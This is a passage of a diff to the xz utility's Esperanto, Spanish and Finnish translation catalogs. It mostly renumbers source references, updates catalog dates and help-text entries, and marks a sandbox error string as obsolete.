antaŭagordaĵon):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -868,7 +864,7 @@ msgstr "" " --filters=FILTRILOJ agordi la filtrilan ĉenan uzanta la sintakso de la\n" " lzma-filtrila ĉeno. --filters-help or pliaj informoj" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -878,7 +874,7 @@ msgstr "" " agordi aldonajn filtrilajn ĉenojn por uzi kun\n" " --block-list per la sintakso de liblzma-filtrila ĉeno" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -886,7 +882,7 @@ msgstr "" " --filters-help montri pliajn informojn pri la sintakso de la\n" " liblzma-filtrila ĉeno kaj poste eliri." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -919,7 +915,7 @@ msgstr "" " depth=NUM maksimuma profundo de serĉo; 0=aŭtomata\n" " (apriore)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -946,7 +942,7 @@ msgstr "" " Validaj ELEKTOJ por ĉiuj BCJ-filters:\n" " start=NOMBRO komenca deŝovo por konvertoj (apriore 0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -958,7 +954,7 @@ msgstr "" " dist=NOMBRO distanco inter bajtoj subtrahataj de unu\n" " la alia (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -966,7 +962,7 @@ msgstr "" "\n" " Aliaj elektoj:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -975,15 +971,15 @@ msgstr "" " -v, --verbose eligi superfluajn informojn; uzu dufoje por pliigi la\n" " superfluecon" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn avertoj ne influu la eliran staton" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot uzi mesaĝojn facile analizeblaj per skriptoj" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -991,7 +987,7 @@ msgstr "" " --info-memory montri la totalan kiomon de la ĉefmemoro kaj la nune\n" " aktivaj memoruzadaj limigoj, kaj finiĝi" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1000,7 +996,7 @@ msgstr "" " elektojn)\n" " -H, --long-help montri la longan helpon kaj finiĝi" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1009,11 +1005,11 @@ msgstr "" " -H, --long-help montri la longan helpon (listigas ankaŭ la altnivelajn\n" " elektojn)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version montri la eldonan numeron kaj finiĝi" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1026,21 +1022,21 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Raporti programerarojn al <%s> (en la angla aŭ la suoma).\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s ĉefpaĝo: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ĈI TIU ESTAS DISVOLVA REDAKCIO, NE CELATA POR ĈIUTAGA UZADO." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1052,7 +1048,7 @@ msgstr "" "estas apartigebla per spacetoj aŭ '--'. Alternative antaŭargordo <0-9>[e]\n" "anstataŭ filtrila ĉeno estas specifebla.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "La komprenataj filtriloj aŭ filtrilaj elektoj estas:" @@ -1146,3 +1142,6 @@ msgstr "Skribi al la ĉefeligujo malsukcesis" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Nekonata eraro" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Malsukcesis aktivigi la sablujon" diff --git a/po/es.gmo b/po/es.gmo new file mode 100644 index 00000000..2da78673 Binary files /dev/null and b/po/es.gmo differ diff --git a/po/es.po b/po/es.po index 4b88bf06..02ddfbc4 100644 --- a/po/es.po +++ b/po/es.po @@ -9,7 +9,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-16 09:36-0600\n" "Last-Translator: Cristian Othón Martínez Vera \n" "Language-Team: Spanish \n" @@ -57,8 +57,8 @@ msgstr "Solo se puede especificar un fichero con '--files' o '--files0'." #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -182,16 +182,12 @@ msgstr "Se ajusta el tamaño del diccionario LZMA%c para --filters%u de %s MiB a msgid "Error changing to filter chain %u: %s" msgstr "Error al cambiar a la cadena de filtros %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Error al crear una tubería: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Falló al activar el arenero" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: falló poll(): %s" @@ -206,111 +202,111 @@ msgstr "%s: falló poll(): %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Al parecer se movió el fichero, no se borra" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: No se puede borrar: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: No se puede establecer el propietario del fichero: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: No se puede establecer el grupo del fichero: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: No se pueden establecer los permisos del fichero: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Error al obtener la opciones de estado de fichero de la entrada estándar: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Es un enlace simbólico, se salta" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Es un directorio, se salta" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: No es un fichero regular, se salta" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: El fichero tiene el bit setuid o setgid activo, se salta" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: El fichero tiene el bit sticky activo, se salta" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: El fichero de entrada tiene más de un enlace duro, se salta" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Nombre de fichero vacío, se salta" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Error al restaurar las opciones de estado en la entrada estándar: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Error al obtener las opciones de estado de fichero de la entrada estándar: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Error al restaurar la opción O_APPEND a la salida estándar: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Falló al cerrar el fichero: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Falló la búsqueda al tratar de crear un fichero disperso: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Error de lectura: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Error al buscar en el fichero: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Fin de fichero inesperado" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Error de escritura: %s" @@ -571,26 +567,26 @@ msgstr "Pruebe 'lzmainfo' con ficheros .lzma." msgid "--list does not support reading from standard input" msgstr "--list no admite leer de la entrada estándar" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Error al leer nombres de fichero: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Fin de entrada inesperada al leer nombres de fichero" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Se encontraron caracteres nulos al leer nombres de ficheros. ¿Tal vez quería usar '--files0' en lugar de '--files'?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Aún no se admite la compresión y descompresión con --robot." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "No se pueden leer datos de la entrada estándar cuando se leen nombres de fichero de la entrada estándar" @@ -598,68 +594,68 @@ msgstr "No se pueden leer datos de la entrada estándar cuando se leen nombres d #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Error interno (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "No se pueden establecer los manejadores de señales" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "No hay revisión de integridad; no se verifica la integridad del fichero" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "No se admite el tipo de revisión de integridad; no se verifica la integridad del fichero" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Se alcanzó el límite de uso de memoria" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "No se reconoce el formato del fichero" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opciones sin soporte" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Los datos comprimidos están corruptos" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Fin de entrada inesperado" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Se requieren %s MiB de memoria. Se desactiva el limitador." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Se requieren %s MiB de memoria. El límite es %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Cadena de filtro: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Pruebe '%s --help' para obtener más información." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -670,17 +666,17 @@ msgstr "" "Comprime o descomprime FICHEROs en el formato .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Los argumentos obligatorios para las opciones largas también son\n" "obligatorios para las opciones cortas.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Modo de operación:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -692,7 +688,7 @@ msgstr "" " -t, --test prueba la integridad del fichero comprimido\n" " -l, --list lista la información sobre los ficheros .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -700,7 +696,7 @@ msgstr "" "\n" " Modificadores de operación:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -712,7 +708,7 @@ msgstr "" " -c, --stdout escribe a la entrada estándar y no borra los ficheros\n" " de entrada" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -720,7 +716,7 @@ msgstr "" " --single-stream solo descomprime el primer flujo, y descarta\n" " silenciosamente los posibles datos de entrada restantes" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -737,7 +733,7 @@ msgstr "" " terminar con el carácter de línea nueva\n" " --files0[=FICH] como --files pero usa el carácter nulo como terminador" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -745,7 +741,7 @@ msgstr "" "\n" " Opciones básicas de compresión y formato de fichero:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -759,11 +755,11 @@ msgstr "" " 'none' (usar con precaución),\n" " 'crc32', 'crc64' (por defecto), o 'sha256'" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check no hace la verificación de integridad al descomprimir" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -772,7 +768,7 @@ msgstr "" " ¡Considere el uso de memoria del compresor *y*\n" " del descompresor antes de usar 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -781,7 +777,7 @@ msgstr "" " tiempo de procesamiento; no afecta los requisitos\n" " de memoria del descompresor" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -789,7 +785,7 @@ msgstr "" " -T, --threads=NÚM usa como máximo NÚM hilos; por defecto es 0, el cual\n" " usa tantos hilos como hayan núcleos de procesador" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -800,7 +796,7 @@ msgstr "" " de entrada; use esta opción para establecer el tamaño\n" " de bloque para la compresión con hilos" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -815,7 +811,7 @@ msgstr "" " (0-9) a continuación de ':' antes del tamaño de\n" " los datos sin comprimir" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -828,7 +824,7 @@ msgstr "" " produciría un bloqueo, todos los datos pendientes son\n" " descartados" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -848,7 +844,7 @@ msgstr "" " anteriores; el LÍMITE está en bytes, % de RAM,\n" " o 0 para valores por defecto" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -857,7 +853,7 @@ msgstr "" " uso de memoria, muestra un error en lugar de ajustar\n" " los valores hacia abajo" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -865,7 +861,7 @@ msgstr "" "\n" " Cadena de filtros para compresión (alternativa a usar valores predefinidos):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -876,7 +872,7 @@ msgstr "" " cadena de filtros liblzma; use --filters-help para\n" " obtener más información" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -886,7 +882,7 @@ msgstr "" " define cadenas de filtros adicionales usando la sintaxis\n" " de cadena de filtros liblzma para usar con --block-list" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -894,7 +890,7 @@ msgstr "" " --filters-help muestra más información acerca de la sintaxis de cadenas\n" " de filtros liblzma y termina." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -925,7 +921,7 @@ msgstr "" " depth=NÚM profundidad máxima de búsqueda;\n" " 0=automática (por defecto)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -952,7 +948,7 @@ msgstr "" " start=NÚM inicio de desplazamiento para\n" " conversiones (por defecto=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -964,7 +960,7 @@ msgstr "" " dist=NÚM distancia entre bytes que se restan\n" " uno del otro (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -972,7 +968,7 @@ msgstr "" "\n" " Otras opciones:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -980,15 +976,15 @@ msgstr "" " -q, --quiet suprime avisos; use dos veces para suprimir errores\n" " -v, --verbose detallado; use dos veces para obtener aún más detalle" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn los avisos no afectan el estado de la salida" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot usa mensajes analizables por máquina (útil para scripts)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -996,7 +992,7 @@ msgstr "" " --info-memory muestra la cantidad total de RAM y los límites de uso\n" " de memoria activos, y termina" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1004,7 +1000,7 @@ msgstr "" " -h, --help muestra la ayuda corta (solo muestra las opciones básicas)\n" " -H, --long-help muestra esta ayuda detallada y termina" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1012,11 +1008,11 @@ msgstr "" " -h, --help muestra esta ayuda corta y termina\n" " -H, --long-help muestra la ayuda larga (además muestra opciones avanzadas)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version muestra el número de versión y termina" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1029,23 +1025,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Reporte errores a <%s> (en inglés o finlandés).\n" "Reporte errores de traducción al español a .\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Sitio web de %s: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ESTA ES UNA VERSIÓN EN DESARROLLO Y NO ESTÁ LISTA PARA USO EN PRODUCCIÓN." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1057,7 +1053,7 @@ msgstr "" "separar con espacios o '--'. Alternativamente, se puede especificar un valor\n" "predeterminado <0-9>[e] en lugar de una cadena de filtro.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Los filtros admitidos y sus opciones son:" @@ -1152,6 +1148,9 @@ msgstr "Falló la escritura a la salida estándar" msgid "Unknown error" msgstr "Error desconocido" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Falló al activar el arenero" + #~ msgid "The selected match finder requires at least nice=%" #~ msgstr "El buscador de coincidencias seleccionado requiere por lo menos nice=%" diff --git a/po/fi.gmo b/po/fi.gmo new file mode 100644 index 00000000..87358cfc Binary files /dev/null and b/po/fi.gmo differ diff --git a/po/fi.po b/po/fi.po index acea1cde..25350b4a 100644 --- a/po/fi.po +++ b/po/fi.po @@ -6,8 +6,8 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.4.0-pre1\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2022-11-09 19:59+0200\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2022-11-10 16:17+0200\n" "Last-Translator: Lauri Nurmi \n" "Language-Team: Finnish \n" @@ -19,127 +19,183 @@ msgstr "" "X-Bugs: Report translation errors to the Language-Team address.\n" "X-Generator: Poedit 3.2\n" -#: src/xz/args.c:64 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: Virheellinen argumentti valitsimelle --block-list" -#: src/xz/args.c:74 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: Liian monta argumenttia valitsimelle --block-list" -#: src/xz/args.c:103 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0:aa voi käyttää vain viimeisenä alkiona valitsimen --block-list kanssa" -#: src/xz/args.c:424 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Tuntematon tiedostomuototyyppi" -#: src/xz/args.c:447 src/xz/args.c:455 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Eheystarkistuksen tyyppiä ei tueta" -#: src/xz/args.c:491 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Vain yksi tiedosto voidaan antaa valitsimille ”--files” ja ”--files0”." -#: src/xz/args.c:559 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "Ympäristömuuttuja %s sisältää liian monta argumenttia" -#: src/xz/args.c:661 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Tiivistämistuki on poistettu käytöstä käännösaikana" -#: src/xz/args.c:668 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Purkutuki on poistettu käytöstä käännösaikana" -#: src/xz/args.c:674 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "Lzip-tiedostojen (.lz) pakkaamista ei tueta" -#: src/xz/coder.c:115 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: --format=raw vaatii, että --suffix=.PÄÄTE on annettu, ellei kirjoiteta vakiotulosteeseen" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Suodattimien enimmäismäärä on neljä" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Muistinkäytön raja on liian matala valituille suotimille." -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Esiasetusten käyttö raw-tilassa ei ole suositeltavaa." -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Esiasetusten tarkat asetukset saattavat vaihdella ohjelmistoversioiden välillä." -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr ".lzma-muoto tukee vain LZMA1-suodinta" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 